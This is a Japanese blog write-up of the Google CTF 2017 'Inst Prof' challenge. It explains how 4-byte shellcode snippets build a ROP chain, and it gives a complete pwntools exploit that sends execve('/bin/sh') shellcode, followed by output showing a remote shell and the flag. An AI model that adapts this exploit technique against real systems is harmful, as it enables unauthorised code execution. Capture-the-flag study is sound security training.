ブログ未満のなにか

ブログなのか誰にも分からない

Google CTF 2017 Inst Prof writeup

はじめに

shellcode問、やるだけ。

方針

下記のshellcodeを用いて、ROPを組んだ。それぞれ4byteになっている。 shellcode実行中のstackの先頭にはリターンアドレスがあるので、pop, pushでstackを壊さずにレジスタにテキスト領域のアドレスを格納することができる。r15は特にバイナリ中で使用してなさそうだったので選んだ。 incdecで所望のROPガジェットとなるように、オフセットを計算している。0x1000回のincまたはdecを避けるために、retですぐにリターンさせている。stack上への値の格納は、格納先をrbpからのオフセットで指定できるmovを使用した。rbxはshellcodeの実行領域を指しているので、ROP中で用いている。1度のshellcodeを4byteに収めるために、下記の中でのoffsetとvalueは1byteに制限されている。

pop r15, push r15
inc r15, ret
dec r15, ret
mov BYTE PTR [rbp + offst], value
mov  [rbp+offset], r15
mov  [rbp+offset], rbx

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "inst-prof.ctfcompetition.com"
RPORT = 1337
LHOST = "127.0.0.1"
LPORT = 1337

# libc = ELF('')
elf = ELF('./inst_prof')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./inst_prof'], execute=execute)
else:
    conn = process(['./inst_prof'])
    # conn = process(['./inst_prof'], env={'LD_PRELOAD': ''})

# preparing for exploitation

def pop_push_r15():
    return asm('pop r15\n push r15')

def inc_r15():
    return asm('inc r15\n ret')

def dec_r15():
    return asm('dec r15\n ret')

def byte_move(offset, value):
    return asm('mov BYTE PTR [rbp+%d], %d' % (offset, value))

def byte_add(offset, value):
    return asm('add BYTE PTR [rbp+%d], %d' % (offset, value))

def reg_move(offset):
    return asm('mov  [rbp+%d], r15' % offset)


log.info('Pwning')

conn.recvuntil('ready')

payload = ''
# alloc_page 
payload += pop_push_r15()
payload += dec_r15() * 0x128
payload += reg_move(0x10)

# pop_rsi_r15 rsi= 0x80, r15=?
payload += pop_push_r15()
payload += inc_r15() * 0xa9
payload += reg_move(0x18)

payload += byte_move(0x20 + 0, 0x80)
payload += byte_move(0x20 + 1, 0x00)

# pop rdi; ret
payload += pop_push_r15()
payload += inc_r15() * 0xab
payload += reg_move(0x30)

payload += asm('mov [rbp+0x38], rbx')

# read_n(size)
payload += pop_push_r15()
payload += dec_r15() * 0x98
payload += reg_move(0x40)

# pop rdi ; ret
payload += pop_push_r15()
payload += inc_r15() * 0xab
payload += reg_move(0x48)

payload += asm('mov [rbp+0x50], rbx')

# make_page_executable(addr)
payload += pop_push_r15()
payload += dec_r15() * 0xf8
payload += reg_move(0x58)
 
payload += asm('mov [rbp+0x60], rbx')

# trigger ROP
payload += pop_push_r15()
payload += inc_r15() * 0x39
payload += reg_move(0x8)

# execve('/bin/sh')
shellcode = '\x90' * 0x10
shellcode += asm(shellcraft.sh())
shellcode = shellcode.ljust(0x80, '\x90')

payload += shellcode + '\n'
conn.send(payload)

conn.interactive()

結果

python exploit.py r
[*] '/home/hama/ctf/GoogleCTF2017/InstProf/inst_prof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done
[*] Pwning
[*] Switching to interactive mode

(長いので省略)

$ cat flag.txt
CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

おわりに

見返してみるとゴリ押しが酷い